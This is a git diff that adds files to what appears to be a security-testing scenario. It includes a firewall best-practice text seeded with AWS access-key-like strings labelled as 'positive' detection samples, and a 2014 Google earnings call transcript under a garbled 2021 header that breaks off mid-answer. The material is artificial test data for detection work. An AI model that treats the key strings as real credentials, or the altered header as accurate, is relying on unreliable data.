b/scenarios/scenario_5/infra/s3_files/s3_files/2_wildfire-test-pe-file.exe differ diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/IP_multiline copy.txt b/scenarios/scenario_5/infra/s3_files/s3_files/IP_multiline copy.txt new file mode 100644 index 0000000..43f68f8 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/IP_multiline copy.txt @@ -0,0 +1,42 @@ +Configure the best practice Antivirus profile by cloning the predefined profile and changing the imap, pop3, and smtp decoder values to reset-both in the Action and WildFire Action columns. +Configure the best practice Anti-Spyware profile by cloning the predefined strict profile. On the Rules tab, enable single packet capture on medium, high, and critical severity threats for traffic you log. (For traffic you don’t log, apply a separate profile without packet capture enabled.) April_05_01 +On the DNS Signatures tab, change the Action on DNS Queries to sinkhole if the firewall can’t see the originator of the DNS query (typically when the firewall is north of the local DNS server) so that you can identify infected hosts. + "AWS-AAKI": { + "positive": { + "aaki1": "AKIAYPDIK3OCOFEZAOQQ AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + }. +} +DNS sinkhole identifies and tracks potentially compromised hosts that attempt to access suspicious domains and prevents them from accessing those domains. Enable extended packet capture on the sinkholed traffic. April_05_01 +Configure the best practice Vulnerability Protection profile by cloning the predefined strict profile and changing the Packet Capture setting for every rule except simple-client-informational and simple-server-informational to single-packet. If the firewall identifies a large volume of vulnerability threats and that affects performance, disable packet capture for low-severity events. +The predefined strict File Blocking profile is the best practice profile. If supporting critical applications prevents you from blocking all the file types the strict profile blocks (you can identify the file types used in the data center from data filtering logs at MonitorLogsData Filtering), clone the strict profile and modify it as needed. If files don’t need to flow in both directions, use the Direction setting to restrict the file type to only the required direction. +The predefined WildFire Analysis profile is the best practice profile. WildFire provides the best defense against unknown threats and advanced persistent threats (ATPs). + "AWS-AAKI": { + "positive": { + "aaki1": "AKIAYPDIK3OCOFEZAOYY AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services AKIAYPDIK3OCOFEZAOKK" + } +} +Perform CRL/OCSP checks to ensure June04 certificates presented during SSL decryption are valid. +SSL Protocol Settings: Set the Min Version to TLSv1.2, the Max Version to Max, and uncheck the SHA1 Authentication Algorithm. (The weak 3DES and RC4 Encryption Algorithms are automatically unchecked when you select TLSv1.2.) Use TLSv1.3 for traffic that supports TLSv1.3 (many mobile applications use certificate pinning, which prevent decryption when using TLSv1.3, so for these applications, use TLSv1.2). +SSL Forward Proxy: For Server Certificate Verification, block sessions with expired certificates, untrusted issuers, and unknown certificate status, and restrict certificate extensions. For Unsupported Mode Checks, block sessions with unsupported versions, unsupported cipher suites, and client authentication. For Failure Checks, blocking sessions if resources aren’t available is a tradeoff between the user experience (blocking may negatively affect the user experience) and potentially allowing dangerous connections. If you have to consider this tradeoff, also consider increasing the decryption resources available in the deployment. +SSL Inbound Inspection: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported ciphers. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. +SSH Proxy: For Unsupported Mode Checks, block sessions with unsupported versions and unsupported algorithms. For Failure Checks, the tradeoffs are similar to SSL Forward Proxy. +Apply the No Decryption profile to traffic you choose not to decrypt because of regulations, compliance rules, or business reasons, except TLSv1.3 traffic (TLSv1.3 encrypts certificate information, so the firewall cannot block traffic based on certificate information). Block sessions with expired certificates and untrusted issuers. + + "AWS-AAKI": { + "positive": { + "aaki1": "HEd6k2v4Rj5e44l4poSJlB AWS Access Key", + "aaki2": "Access Key ID AKIAYPDIK3OCOFEZAOAA", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services MCaW6LjNPHTieUnRQCo" + } +} + +Use App-ID to create application-based allow list security policy rules that segment applications by controlling who can access each application and on which sets of servers (using dynamic address groups). App-ID enables you to apply granular security policy rules to applications that may reside on the same compute resource but require different levels of security and access control. +Create custom applications to uniquely identify proprietary applications and segment access. If you have existing Application Override policies that you created solely to define custom session timeouts for a set a of ports, convert the existing Application Override policies to application-based policies by configuring service-based session timeouts to maintain the custom timeout for each application and then migrating the rule the an application-based rule. Application Override policies are port-based. When you use Application Override policies to maintain custom session timeouts for a set of ports, you lose application visibility into those flows, so you neither know nor control which applications use the ports. Service-based session timeouts achieve custom timeouts while also maintaining application visibility. +For migrating from a port-based security policy with custom application timeouts to an application-based policy, don’t use Application Override rules to maintain the custom timeouts because you lose visibility into the applications. Instead, define a service-based session timeout to maintain the custom timeout for each application, and then migrate the rule to an application-based rule. \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/Jul11_new_financial.txt b/scenarios/scenario_5/infra/s3_files/s3_files/Jul11_new_financial.txt new file mode 100644 index 0000000..375f280 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/Jul11_new_financial.txt @@ -0,0 +1,601 @@ +Awesome Q3 2021 Earnings Call - New9 super 3excellent wonderful awesome awesome 13Company great 100 goodgoodtestParticipants great +• Ellen West +• Patrick Pichette +• Omid Kordestani +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju +• Mark S. Mahaney +• Ross A. Sandler +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +MANAGEMENT DISCUSSION SECTION +Operator +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, 